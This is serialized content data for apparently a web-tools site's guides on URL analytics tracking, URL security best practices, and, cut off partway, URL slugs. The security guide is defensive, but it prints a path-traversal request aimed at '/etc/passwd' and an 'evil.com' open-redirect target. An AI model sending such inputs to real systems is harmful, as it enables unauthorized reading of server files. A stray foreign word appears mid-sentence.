params.",[1560,217145,82334],{"class":1566},[1560,217147,1688],{"class":1570},[1560,217149,217150],{"class":5634},"'utm_content'",[1560,217152,19216],{"class":1570},[1560,217154,217155],{"class":1562,"line":2524},[1560,217156,4959],{"class":1570},[1560,217158,217159],{"class":1562,"line":2529},[1560,217160,1585],{"class":1570},[33,217162,217164],{"id":217163},"utm-best-practices","UTM best practices",[41,217166,217167,217179,217188,217194],{},[44,217168,217169,23567,217172,1856,217175,217178],{},[47,217170,217171],{},"Lowercase all values",[143,217173,217174],{},"Spring_Sale",[143,217176,217177],{},"spring_sale"," create separate campaigns in Google Analytics",[44,217180,217181,217184,217185,217187],{},[47,217182,217183],{},"Use underscores instead of spaces"," — Spaces encode as ",[143,217186,34150],{},", making URLs harder to read",[44,217189,217190,217193],{},[47,217191,217192],{},"Keep values short and consistent"," — Define a naming convention and enforce it across teams",[44,217195,217196,217199],{},[47,217197,217198],{},"Never tag internal links"," — UTM parameters on links between your own pages overwrite the original source",[11,217201,217203],{"id":217202},"referrer-based-tracking","Referrer-Based Tracking",[16,217205,421,217206,217209],{},[143,217207,217208],{},"document.referrer"," property tells you which page linked to the current page. Analytics platforms use this as a fallback when UTM parameters are absent:",[135,217211,217213],{"className":1607,"code":217212,"language":1609,"meta":141,"style":141},"const referrer = document.referrer\n\u002F\u002F 'https:\u002F\u002Fwww.google.com\u002Fsearch?q=css+gradient+tool'\n",[143,217214,217215,217227],{"__ignoreMap":141},[1560,217216,217217,217219,217222,217224],{"class":1562,"line":1563},[1560,217218,8180],{"class":1669},[1560,217220,217221],{"class":1576}," referrer",[1560,217223,8186],{"class":1669},[1560,217225,217226],{"class":1570}," document.referrer\n",[1560,217228,217229],{"class":1562,"line":337},[1560,217230,217231],{"class":1649},"\u002F\u002F 'https:\u002F\u002Fwww.google.com\u002Fsearch?q=css+gradient+tool'\n",[33,217233,217235],{"id":217234},"referrer-limitations","Referrer limitations",[193,217237,217238,217246],{},[196,217239,217240],{},[199,217241,217242,217244],{},[202,217243,71554],{},[202,217245,34974],{},[211,217247,217248,217256,217266,217276],{},[199,217249,217250,217253],{},[216,217251,217252],{},"HTTPS → HTTP referrer stripped",[216,217254,217255],{},"Browser security policy hides referrer on downgrade",[199,217257,217258,217263],{},[216,217259,217260],{},[143,217261,217262],{},"Referrer-Policy: no-referrer",[216,217264,217265],{},"Server can instruct browsers to send no referrer",[199,217267,217268,217271],{},[216,217269,217270],{},"Direct visits",[216,217272,217273,217275],{},[143,217274,217208],{}," is empty string",[199,217277,217278,217281],{},[216,217279,217280],{},"Mobile apps",[216,217282,217283,217284,1525],{},"Often empty or generic (",[143,217285,217286],{},"com.apple.Safari",[16,217288,217289],{},"Because of these gaps, UTM parameters remain the reliable choice for campaign tracking.",[11,217291,217293],{"id":217292},"path-based-analytics","Path-Based Analytics",[16,217295,217296],{},"URL paths encode content hierarchy. Analytics tools parse paths to generate content reports:",[135,217298,217300],{"className":1607,"code":217299,"language":1609,"meta":141,"style":141},"\u002F\u002F Group pageviews by section\nconst url = new URL(window.location.href)\nconst section = url.pathname.split('\u002F')[1] || 'home'\n\u002F\u002F '\u002Ftools\u002Fcss-gradient' → 'tools'\n\u002F\u002F '\u002Fguides\u002Fcss-gradient-tutorial' → 'guides'\n",[143,217301,217302,217307,217322,217351,217356],{"__ignoreMap":141},[1560,217303,217304],{"class":1562,"line":1563},[1560,217305,217306],{"class":1649},"\u002F\u002F Group pageviews by section\n",[1560,217308,217309,217311,217313,217315,217317,217319],{"class":1562,"line":337},[1560,217310,8180],{"class":1669},[1560,217312,33819],{"class":1576},[1560,217314,8186],{"class":1669},[1560,217316,11489],{"class":1669},[1560,217318,100924],{"class":1566},[1560,217320,217321],{"class":1570},"(window.location.href)\n",[1560,217323,217324,217326,217329,217331,217333,217335,217337,217339,217342,217344,217346,217348],{"class":1562,"line":343},[1560,217325,8180],{"class":1669},[1560,217327,217328],{"class":1576}," section",[1560,217330,8186],{"class":1669},[1560,217332,101426],{"class":1570},[1560,217334,9356],{"class":1566},[1560,217336,1688],{"class":1570},[1560,217338,89998],{"class":5634},[1560,217340,217341],{"class":1570},")[",[1560,217343,3585],{"class":1576},[1560,217345,13484],{"class":1570},[1560,217347,82344],{"class":1669},[1560,217349,217350],{"class":5634}," 'home'\n",[1560,217352,217353],{"class":1562,"line":365},[1560,217354,217355],{"class":1649},"\u002F\u002F '\u002Ftools\u002Fcss-gradient' → 'tools'\n",[1560,217357,217358],{"class":1562,"line":889},[1560,217359,217360],{"class":1649},"\u002F\u002F '\u002Fguides\u002Fcss-gradient-tutorial' → 'guides'\n",[33,217362,217364],{"id":217363},"clean-urls-vs-parameter-based-urls","Clean URLs vs. parameter-based URLs",[193,217366,217367,217379],{},[196,217368,217369],{},[199,217370,217371,217374,217376],{},[202,217372,217373],{},"URL Style",[202,217375,133],{},[202,217377,217378],{},"Analytics Advantage",[211,217380,217381,217393,217410],{},[199,217382,217383,217386,217390],{},[216,217384,217385],{},"Clean path",[216,217387,217388],{},[143,217389,18582],{},[216,217391,217392],{},"Each tool appears as distinct page in content reports",[199,217394,217395,217398,217403],{},[216,217396,217397],{},"Query-based",[216,217399,217400],{},[143,217401,217402],{},"\u002Ftool?id=css-gradient",[216,217404,217405,217406,217409],{},"All tools aggregate under ",[143,217407,217408],{},"\u002Ftool"," — harder to compare",[199,217411,217412,217415,217420],{},[216,217413,217414],{},"Hash-based",[216,217416,217417],{},[143,217418,217419],{},"\u002Ftools#css-gradient",[216,217421,217422],{},"Hash never reaches server — won't appear in server logs",[16,217424,217425],{},"For analytics clarity, prefer clean path URLs over query or hash-based routing.",[11,217427,217429],{"id":217428},"url-parameter-pitfalls-for-analytics","URL Parameter Pitfalls for Analytics",[33,217431,217433],{"id":217432},"parameter-ordering","Parameter ordering",[16,217435,217436,1856,217439,217442],{},[143,217437,217438],{},"?a=1&b=2",[143,217440,217441],{},"?b=2&a=1"," resolve to the same page, but some analytics tools treat them as different URLs. Normalize parameter order before sending data:",[135,217444,217446],{"className":1607,"code":217445,"language":1609,"meta":141,"style":141},"function normalizeUrl(urlString) {\n  const url = new URL(urlString)\n  const sorted = new URLSearchParams()\n  const keys = [...url.searchParams.keys()].sort()\n  for (const key of keys) {\n    url.searchParams.getAll(key).forEach(val => sorted.append(key, val))\n  }\n  url.search = sorted.toString()\n  return url.toString()\n}\n",[143,217447,217448,217461,217475,217490,217515,217530,217556,217560,217573,217584],{"__ignoreMap":141},[1560,217449,217450,217452,217455,217457,217459],{"class":1562,"line":1563},[1560,217451,8648],{"class":1669},[1560,217453,217454],{"class":1566}," normalizeUrl",[1560,217456,1688],{"class":1570},[1560,217458,217048],{"class":2219},[1560,217460,9345],{"class":1570},[1560,217462,217463,217465,217467,217469,217471,217473],{"class":1562,"line":337},[1560,217464,28057],{"class":1669},[1560,217466,33819],{"class":1576},[1560,217468,8186],{"class":1669},[1560,217470,11489],{"class":1669},[1560,217472,100924],{"class":1566},[1560,217474,217065],{"class":1570},[1560,217476,217477,217479,217482,217484,217486,217488],{"class":1562,"line":343},[1560,217478,28057],{"class":1669},[1560,217480,217481],{"class":1576}," sorted",[1560,217483,8186],{"class":1669},[1560,217485,11489],{"class":1669},[1560,217487,34203],{"class":1566},[1560,217489,27830],{"class":1570},[1560,217491,217492,217494,217497,217499,217501,217503,217505,217508,217511,217513],{"class":1562,"line":365},[1560,217493,28057],{"class":1669},[1560,217495,217496],{"class":1576}," keys",[1560,217498,8186],{"class":1669},[1560,217500,39830],{"class":1570},[1560,217502,24388],{"class":1669},[1560,217504,101200],{"class":1570},[1560,217506,217507],{"class":1566},"keys",[1560,217509,217510],{"class":1570},"()].",[1560,217512,100488],{"class":1566},[1560,217514,27830],{"class":1570},[1560,217516,217517,217519,217521,217523,217525,217527],{"class":1562,"line":889},[1560,217518,82192],{"class":1669},[1560,217520,5181],{"class":1570},[1560,217522,8180],{"class":1669},[1560,217524,90481],{"class":1576},[1560,217526,110658],{"class":1669},[1560,217528,217529],{"class":1570}," keys) {\n",[1560,217531,217532,217535,217537,217540,217542,217544,217546,217548,217551,217553],{"class":1562,"line":1710},[1560,217533,217534],{"class":1570},"    url.searchParams.",[1560,217536,101157],{"class":1566},[1560,217538,217539],{"class":1570},"(key).",[1560,217541,11513],{"class":1566},[1560,217543,1688],{"class":1570},[1560,217545,111538],{"class":2219},[1560,217547,9378],{"class":1669},[1560,217549,217550],{"class":1570}," sorted.",[1560,217552,101339],{"class":1566},[1560,217554,217555],{"class":1570},"(key, val))\n",[1560,217557,217558],{"class":1562,"line":1717},[1560,217559,4959],{"class":1570},[1560,217561,217562,217565,217567,217569,217571],{"class":1562,"line":1747},[1560,217563,217564],{"class":1570},"  url.search ",[1560,217566,7297],{"class":1669},[1560,217568,217550],{"class":1570},[1560,217570,10052],{"class":1566},[1560,217572,27830],{"class":1570},[1560,217574,217575,217577,217580,217582],{"class":1562,"line":2507},[1560,217576,9350],{"class":1669},[1560,217578,217579],{"class":1570}," url.",[1560,217581,10052],{"class":1566},[1560,217583,27830],{"class":1570},[1560,217585,217586],{"class":1562,"line":2524},[1560,217587,1585],{"class":1570},[33,217589,201991],{"id":10396},[16,217591,217592,1856,217595,217598],{},[143,217593,217594],{},"?utm_source=Google",[143,217596,217597],{},"?utm_source=google"," are different strings. Always lowercase UTM values before processing.",[33,217600,182650],{"id":217601},"session-ids-in-urls",[16,217603,217604,217605,217608],{},"URLs like ",[143,217606,217607],{},"\u002Fpage?sid=abc123"," create unique pageviews for every session. Strip session identifiers before sending URLs to analytics, or use analytics platform features to exclude query parameters.",[11,217610,217612],{"id":217611},"privacy-and-compliance","Privacy and Compliance",[33,217614,217616],{"id":217615},"pii-in-urls","PII in URLs",[16,217618,217619],{},"Never put personally identifiable information in URL parameters. Names, email addresses, and user IDs in URLs are:",[41,217621,217622,217625,217628],{},[44,217623,217624],{},"Visible in browser history and address bars",[44,217626,217627],{},"Logged by proxies, CDNs, and server access logs",[44,217629,217630,217631,217634],{},"Passed to third parties via the ",[143,217632,217633],{},"Referer"," header when users click external links",[135,217636,217638],{"className":164532,"code":217637,"language":35165,"meta":141,"style":141},"- https:\u002F\u002Fexample.com\u002Fwelcome?name=John&email=john@example.com\n+ https:\u002F\u002Fexample.com\u002Fwelcome?user_id=42\n",[143,217639,217640,217645],{"__ignoreMap":141},[1560,217641,217642],{"class":1562,"line":1563},[1560,217643,217644],{},"- https:\u002F\u002Fexample.com\u002Fwelcome?name=John&email=john@example.com\n",[1560,217646,217647],{"class":1562,"line":337},[1560,217648,217649],{},"+ https:\u002F\u002Fexample.com\u002Fwelcome?user_id=42\n",[33,217651,217653],{"id":217652},"referrer-leakage","Referrer leakage",[16,217655,217656,217657,217660],{},"When a user navigates from your site to an external link, the browser sends your URL as the referrer. Use ",[143,217658,217659],{},"Referrer-Policy"," to control what gets shared:",[135,217662,217664],{"className":6417,"code":217663,"language":6419,"meta":141,"style":141},"\u003Cmeta name=\"referrer\" content=\"origin\">\n\u003C!-- Sends only the origin: https:\u002F\u002Fexample.com (no path or parameters) -->\n",[143,217665,217666,217688],{"__ignoreMap":141},[1560,217667,217668,217670,217672,217674,217676,217679,217681,217683,217686],{"class":1562,"line":1563},[1560,217669,6431],{"class":1570},[1560,217671,108827],{"class":2484},[1560,217673,108846],{"class":1566},[1560,217675,7297],{"class":1570},[1560,217677,217678],{"class":5634},"\"referrer\"",[1560,217680,108854],{"class":1566},[1560,217682,7297],{"class":1570},[1560,217684,217685],{"class":5634},"\"origin\"",[1560,217687,6441],{"class":1570},[1560,217689,217690],{"class":1562,"line":337},[1560,217691,217692],{"class":1649},"\u003C!-- Sends only the origin: https:\u002F\u002Fexample.com (no path or parameters) -->\n",[33,217694,217696],{"id":217695},"cookie-consent","Cookie consent",[16,217698,217699],{},"In many jurisdictions, UTM parameter tracking requires consent. Check your legal requirements before implementing campaign tracking.",[11,217701,1355],{"id":1354},[41,217703,217704,217707,217710,217713,217716,217719],{},[44,217705,217706],{},"UTM parameters are the standard for campaign attribution — use consistent, lowercase naming",[44,217708,217709],{},"Referrer tracking has gaps — UTM parameters are more reliable for campaign measurement",[44,217711,217712],{},"Clean path URLs produce clearer analytics than query or hash-based URLs",[44,217714,217715],{},"Normalize parameter order and case before sending data to analytics platforms",[44,217717,217718],{},"Never include PII in URL parameters — they leak through referrers, logs, and history",[44,217720,1388,217721,217723],{},[143,217722,217659],{}," headers to control what URL information leaves your site",[11,217725,321],{"id":320},[41,217727,217728,217732,217736],{},[44,217729,217730],{},[98,217731,102125],{"href":102124},[44,217733,217734],{},[98,217735,102131],{"href":102130},[44,217737,217738],{},[98,217739,102137],{"href":102136},[11,217741,286],{"id":285},[16,217743,217744,217745,217747],{},"Parse and inspect any URL — including UTM parameters — with our free ",[98,217746,99078],{"href":99077},". Paste a URL and see every component broken down instantly.",[2043,217749,217750],{},"html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":141,"searchDepth":337,"depth":337,"links":217752},[217753,217754,217758,217761,217764,217769,217774,217775,217776],{"id":216901,"depth":337,"text":216902},{"id":216911,"depth":337,"text":216912,"children":217755},[217756,217757],{"id":217030,"depth":343,"text":217031},{"id":217163,"depth":343,"text":217164},{"id":217202,"depth":337,"text":217203,"children":217759},[217760],{"id":217234,"depth":343,"text":217235},{"id":217292,"depth":337,"text":217293,"children":217762},[217763],{"id":217363,"depth":343,"text":217364},{"id":217428,"depth":337,"text":217429,"children":217765},[217766,217767,217768],{"id":217432,"depth":343,"text":217433},{"id":10396,"depth":343,"text":201991},{"id":217601,"depth":343,"text":182650},{"id":217611,"depth":337,"text":217612,"children":217770},[217771,217772,217773],{"id":217615,"depth":343,"text":217616},{"id":217652,"depth":343,"text":217653},{"id":217695,"depth":343,"text":217696},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Learn how URL parsing powers analytics — UTM parameters, referrer tracking, campaign measurement, and privacy considerations.",{"immutable":363},"\u002Fguides\u002Furl-parsing-analytics-tracking",{"title":216896,"description":217777},"guides\u002Furl-parsing-analytics-tracking","TbtQ8Y7WArTO-QJnO_-Xqf-QJtKiVoS7YZFbgMt-UOo",{"id":217784,"title":217785,"body":217786,"date":2070,"description":218278,"extension":361,"meta":218279,"navigation":363,"path":102136,"readingTime":889,"seo":218280,"stem":218281,"__hash__":218282},"guides\u002Fguides\u002Furl-security-best-practices.md","URL Security Best Practices: Protect Links and User Data",{"type":8,"value":217787,"toc":218255},[217788,217792,217795,217798,217802,217806,217885,217889,217892,217898,217902,217905,217909,217936,218007,218011,218014,218018,218079,218083,218089,218093,218096,218100,218121,218127,218131,218137,218141,218185,218191,218195,218198,218224,218226,218245,218247,218253],[11,217789,217791],{"id":217790},"why-url-security-matters","Why URL Security Matters",[16,217793,217794],{},"URLs are visible in browser history, server logs, referrer headers, and analytics tools. Any sensitive data placed in a URL is exposed to anyone who can see those records. Session tokens, passwords, and personal IDs routinely leak through careless URL construction.",[16,217796,217797],{},"Security through URL design is not optional. A single leaked token in a shared link can compromise an entire account.",[11,217799,217801],{"id":217800},"never-put-secrets-in-the-url","Never Put Secrets in the URL",[33,217803,217805],{"id":217804},"what-counts-as-a-secret","What Counts as a Secret",[193,217807,217808,217819],{},[196,217809,217810],{},[199,217811,217812,217815,217817],{},[202,217813,217814],{},"Data Type",[202,217816,133],{},[202,217818,207957],{},[211,217820,217821,217833,217846,217859,217872],{},[199,217822,217823,217825,217830],{},[216,217824,42053],{},[216,217826,217827],{},[143,217828,217829],{},"?token=abc123",[216,217831,217832],{},"Browser history, referrer leak",[199,217834,217835,217838,217843],{},[216,217836,217837],{},"Passwords",[216,217839,217840],{},[143,217841,217842],{},"?pwd=hunter2",[216,217844,217845],{},"Visible in address bar",[199,217847,217848,217851,217856],{},[216,217849,217850],{},"API keys",[216,217852,217853],{},[143,217854,217855],{},"?key=sk_live_xxx",[216,217857,217858],{},"Logged by proxies and CDNs",[199,217860,217861,217864,217869],{},[216,217862,217863],{},"Personal IDs",[216,217865,217866],{},[143,217867,217868],{},"?ssn=123-45-6789",[216,217870,217871],{},"PII exposure, compliance violation",[199,217873,217874,217877,217882],{},[216,217875,217876],{},"Medical data",[216,217878,217879],{},[143,217880,217881],{},"?diagnosis=flu",[216,217883,217884],{},"HIPAA violation",[33,217886,217888],{"id":217887},"where-to-put-them-instead","Where to Put Them Instead",[16,217890,217891],{},"Use request headers or request bodies. Headers travel alongside the URL but are not logged in browser history or sent in referrer headers. Bodies are invisible to URLs entirely.",[135,217893,217896],{"className":217894,"code":217895,"language":140},[138],"\u002F\u002F Bad — token in query string\nGET \u002Fapi\u002Fuser?token=abc123\n\n\u002F\u002F Good — token in Authorization header\nGET \u002Fapi\u002Fuser\nAuthorization: Bearer abc123\n",[143,217897,217895],{"__ignoreMap":141},[11,217899,217901],{"id":217900},"prevent-open-redirect-vulnerabilities","Prevent Open Redirect Vulnerabilities",[16,217903,217904],{},"An open redirect occurs when your application takes a user-supplied URL and redirects to it without validation. Attackers use open redirects to trick users into visiting phishing sites that appear to come from your domain.",[33,217906,217908],{"id":217907},"how-to-fix-it","How to Fix It",[77,217910,217911,217917,217930],{},[44,217912,217913,217916],{},[47,217914,217915],{},"Whitelist allowed redirect targets."," Only allow paths or domains you control.",[44,217918,217919,217922,217923,217926,217927,468],{},[47,217920,217921],{},"Use relative paths instead of full URLs."," Redirect to ",[143,217924,217925],{},"\u002Fdashboard"," rather than ",[143,217928,217929],{},"https:\u002F\u002Fevil.com",[44,217931,217932,217935],{},[47,217933,217934],{},"Validate the destination."," Parse the URL and check that the hostname matches your domain.",[135,217937,217939],{"className":1607,"code":217938,"language":1609,"meta":141,"style":141},"function safeRedirect(url) {\n  const parsed = new URL(url, window.location.origin)\n  if (parsed.hostname !== window.location.hostname) {\n    return '\u002F' \u002F\u002F fallback to home\n  }\n  return parsed.pathname\n}\n",[143,217940,217941,217954,217970,217982,217992,217996,218003],{"__ignoreMap":141},[1560,217942,217943,217945,217948,217950,217952],{"class":1562,"line":1563},[1560,217944,8648],{"class":1669},[1560,217946,217947],{"class":1566}," safeRedirect",[1560,217949,1688],{"class":1570},[1560,217951,11310],{"class":2219},[1560,217953,9345],{"class":1570},[1560,217955,217956,217958,217961,217963,217965,217967],{"class":1562,"line":337},[1560,217957,28057],{"class":1669},[1560,217959,217960],{"class":1576}," parsed",[1560,217962,8186],{"class":1669},[1560,217964,11489],{"class":1669},[1560,217966,100924],{"class":1566},[1560,217968,217969],{"class":1570},"(url, window.location.origin)\n",[1560,217971,217972,217974,217977,217979],{"class":1562,"line":343},[1560,217973,27984],{"class":1669},[1560,217975,217976],{"class":1570}," (parsed.hostname ",[1560,217978,13538],{"class":1669},[1560,217980,217981],{"class":1570}," window.location.hostname) {\n",[1560,217983,217984,217986,217989],{"class":1562,"line":365},[1560,217985,9434],{"class":1669},[1560,217987,217988],{"class":5634}," '\u002F'",[1560,217990,217991],{"class":1649}," \u002F\u002F fallback to home\n",[1560,217993,217994],{"class":1562,"line":889},[1560,217995,4959],{"class":1570},[1560,217997,217998,218000],{"class":1562,"line":1710},[1560,217999,9350],{"class":1669},[1560,218001,218002],{"class":1570}," parsed.pathname\n",[1560,218004,218005],{"class":1562,"line":1717},[1560,218006,1585],{"class":1570},[11,218008,218010],{"id":218009},"validate-and-sanitize-url-input","Validate and Sanitize URL Input",[16,218012,218013],{},"Any URL component taken from user input — query parameters, path segments, fragments — must be validated before use.",[33,218015,218017],{"id":218016},"common-validation-rules","Common Validation Rules",[193,218019,218020,218030],{},[196,218021,218022],{},[199,218023,218024,218026,218028],{},[202,218025,39500],{},[202,218027,117448],{},[202,218029,21086],{},[211,218031,218032,218043,218057,218068],{},[199,218033,218034,218037,218040],{},[216,218035,218036],{},"Redirect URL",[216,218038,218039],{},"Whitelist hostname",[216,218041,218042],{},"Prevent open redirect",[199,218044,218045,218048,218054],{},[216,218046,218047],{},"File path in URL",[216,218049,218050,218051,101421],{},"Reject ",[143,218052,218053],{},"..",[216,218055,218056],{},"Prevent path traversal",[199,218058,218059,218062,218065],{},[216,218060,218061],{},"Query parameter",[216,218063,218064],{},"Length limit + charset",[216,218066,218067],{},"Prevent buffer overflow, injection",[199,218069,218070,218073,218076],{},[216,218071,218072],{},"URL-encoded data",[216,218074,218075],{},"Decode then validate",[216,218077,218078],{},"Prevent double-encoding attacks",[33,218080,218082],{"id":218081},"path-traversal-example","Path Traversal Example",[135,218084,218087],{"className":218085,"code":218086,"language":140},[138],"\u002F\u002F Dangerous — user controls the path\nGET \u002Ffiles\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\n\n\u002F\u002F Fix — resolve and verify the path stays within the allowed directory\nconst resolved = path.resolve(baseDir, userInput)\nif (!resolved.startsWith(baseDir)) throw new Error('Invalid path')\n",[143,218088,218086],{"__ignoreMap":141},[11,218090,218092],{"id":218091},"enforce-https-everywhere","Enforce HTTPS Everywhere",[16,218094,218095],{},"HTTP URLs transmit data in plaintext.任何人 on the network can read and modify the traffic. HTTPS encrypts the connection and lets the browser verify the server's identity.",[33,218097,218099],{"id":218098},"steps-to-enforce-https","Steps to Enforce HTTPS",[41,218101,218102,218105,218112,218118],{},[44,218103,218104],{},"Redirect all HTTP requests to HTTPS at the server level.",[44,218106,218107,218108,218111],{},"Set the ",[143,218109,218110],{},"Strict-Transport-Security"," header to tell browsers to always use HTTPS.",[44,218113,18550,218114,218117],{},[143,218115,218116],{},"Secure"," flag on cookies so they are never sent over HTTP.",[44,218119,218120],{},"Submit your domain to the HSTS preload list for browser-level enforcement.",[135,218122,218125],{"className":218123,"code":218124,"language":140},[138],"Strict-Transport-Security: max-age=31536000; includeSubDomains; preload\n",[143,218126,218124],{"__ignoreMap":141},[11,218128,218130],{"id":218129},"be-careful-with-referrer-headers","Be Careful with Referrer Headers",[16,218132,218133,218134,218136],{},"When a user clicks a link from your site, the browser sends a ",[143,218135,217633],{}," header to the destination. This header includes the full URL of the originating page — including any query parameters.",[33,218138,218140],{"id":218139},"how-to-control-referrer-leakage","How to Control Referrer Leakage",[193,218142,218143,218151],{},[196,218144,218145],{},[199,218146,218147,218149],{},[202,218148,7441],{},[202,218150,922],{},[211,218152,218153,218163,218175],{},[199,218154,218155,218160],{},[216,218156,218157],{},[143,218158,218159],{},"\u003Cmeta name=\"referrer\" content=\"no-referrer\">",[216,218161,218162],{},"Sends no referrer for all links on the page",[199,218164,218165,218172],{},[216,218166,218167,44235,218170,124277],{},[143,218168,218169],{},"rel=\"noreferrer\"",[143,218171,129094],{},[216,218173,218174],{},"Blocks referrer for a specific link",[199,218176,218177,218182],{},[216,218178,218179,117498],{},[143,218180,218181],{},"Referrer-Policy: same-origin",[216,218183,218184],{},"Sends full referrer only to same-origin requests",[16,218186,1388,218187,218190],{},[143,218188,218189],{},"no-referrer"," on any page whose URLs contain session tokens or sensitive query parameters.",[11,218192,218194],{"id":218193},"secure-url-shorteners-and-redirects","Secure URL Shorteners and Redirects",[16,218196,218197],{},"If you run a URL shortener or redirect service:",[41,218199,218200,218206,218212,218218],{},[44,218201,218202,218205],{},[47,218203,218204],{},"Rate-limit redirect creation"," to prevent abuse.",[44,218207,218208,218211],{},[47,218209,218210],{},"Show an interstitial page"," for flagged destinations so users know they are leaving your site.",[44,218213,218214,218217],{},[47,218215,218216],{},"Log all redirects"," for abuse review.",[44,218219,218220,218223],{},[47,218221,218222],{},"Scan destination URLs"," against phishing and malware databases.",[11,218225,1355],{"id":1354},[41,218227,218228,218231,218234,218237,218242],{},[44,218229,218230],{},"Never place session tokens, passwords, API keys, or PII in URLs — use headers or request bodies instead.",[44,218232,218233],{},"Validate all user-supplied URL components and whitelist redirect targets.",[44,218235,218236],{},"Enforce HTTPS with HSTS headers and the preload list.",[44,218238,218239,218240,81985],{},"Control referrer leakage with meta tags or the ",[143,218241,217659],{},[44,218243,218244],{},"Treat URL shorteners and redirect endpoints as high-risk surfaces that need rate limiting and logging.",[11,218246,286],{"id":285},[16,218248,218249,218250,218252],{},"Parse and inspect any URL for security issues with the ",[98,218251,99078],{"href":99077}," tool — check query parameters, hostname, and path segments at a glance.",[2043,218254,100852],{},{"title":141,"searchDepth":337,"depth":337,"links":218256},[218257,218258,218262,218265,218269,218272,218275,218276,218277],{"id":217790,"depth":337,"text":217791},{"id":217800,"depth":337,"text":217801,"children":218259},[218260,218261],{"id":217804,"depth":343,"text":217805},{"id":217887,"depth":343,"text":217888},{"id":217900,"depth":337,"text":217901,"children":218263},[218264],{"id":217907,"depth":343,"text":217908},{"id":218009,"depth":337,"text":218010,"children":218266},[218267,218268],{"id":218016,"depth":343,"text":218017},{"id":218081,"depth":343,"text":218082},{"id":218091,"depth":337,"text":218092,"children":218270},[218271],{"id":218098,"depth":343,"text":218099},{"id":218129,"depth":337,"text":218130,"children":218273},[218274],{"id":218139,"depth":343,"text":218140},{"id":218193,"depth":337,"text":218194},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Learn how to secure URLs — avoid sensitive data leaks, validate inputs, prevent open redirects, and enforce HTTPS across your application.",{"immutable":363},{"title":217785,"description":218278},"guides\u002Furl-security-best-practices","nndnCtL7wHFCmZRodsHrWqh4XS3iwlljLEtzLWBKkVE",{"id":218284,"title":182697,"body":218285,"date":2070,"description":218682,"extension":361,"meta":218683,"navigation":363,"path":182696,"readingTime":1710,"seo":218684,"stem":218685,"__hash__":218686},"guides\u002Fguides\u002Furl-slug-guide.md",{"type":8,"value":218286,"toc":218667},[218287,218291,218294,218300,218311,218315,218318,218328,218341,218347,218351,218354,218420,218424,218530,218534,218538,218541,218543,218553,218555,218568,218572,218579,218584,218595,218600,218611,218618,218620,218643,218645,218659,218661],[11,218288,218290],{"id":218289},"what-is-a-url-slug","What Is a URL Slug?",[16,218292,218293],{},"A URL slug is the human-readable part of a URL that identifies a specific page. It sits after the domain and any path prefixes, describing the page content in plain words.",[135,218295,218298],{"className":218296,"code":218297,"language":140},[138],"https:\u002F\u002Fexample.com\u002Fblog\u002Fhow-to-optimize-seo\n                         ^^^^^^^^^^^^^^^^^^^^^\n                              This is the slug\n",[143,218299,218297],{"__ignoreMap":141},[16,218301,218302,218303,218306,218307,218310],{},"Slugs replace messy query strings and numeric IDs with descriptive text. Instead of ",[143,218304,218305],{},"\u002Fpost?id=3847",", you get ",[143,218308,218309],{},"\u002Fhotels-in-london"," — a URL that both humans and search engines understand at a glance.",[11,218312,218314],{"id":218313},"why-slugs-matter-for-seo","Why Slugs Matter for SEO",[16,218316,218317],{},"Slugs influence search rankings in three ways: readability, keyword relevance, and click-through rate.",[16,218319,218320,218323,218324,218327],{},[47,218321,218322],{},"Readability."," Google has confirmed that clean URLs earn a minor ranking boost. When a URL uses real words instead of IDs, crawlers extract topic signals more easily. Users also trust readable links — a slug like ",[143,218325,218326],{},"\u002Fhealthy-smoothie-recipes"," tells you exactly what to expect.",[16,218329,218330,218333,218334,218337,218338,468],{},[47,218331,218332],{},"Keyword relevance."," Words in the slug carry weight in search algorithms. Placing your target keyword in the slug signals topical alignment. A page targeting \"best running shoes\" benefits from the slug ",[143,218335,218336],{},"\u002Fbest-running-shoes"," far more than ",[143,218339,218340],{},"\u002Fpage-42",[16,218342,218343,218346],{},[47,218344,218345],{},"Click-through rate."," Search results display the URL below the title. A descriptive slug acts as a second headline, encouraging clicks. Studies show that short, meaningful URLs can improve CTR by up to 25% compared to generic or numeric URLs.",[11,218348,218350],{"id":218349},"slug-generation-rules","Slug Generation Rules",[16,218352,218353],{},"Follow these rules to produce slugs that work for both users and search engines:",[41,218355,218356,218367,218373,218388,218408,218414],{},[44,218357,218358,218361,218362,1856,218364,218366],{},[47,218359,218360],{},"Lowercase everything."," MixEd-CaSe slugs create duplicate content risks — ",[143,218363,182441],{},[143,218365,182444],{}," may serve the same page but look different to crawlers.",[44,218368,218369,218372],{},[47,218370,218371],{},"Separate words with hyphens."," Google treats hyphens as word separators. Underscores are not recognized as separators by most search engines.",[44,218374,218375,218378,218379,1459,218381,1459,218383,1459,218385,218387],{},[47,218376,218377],{},"Remove special characters."," Symbols like 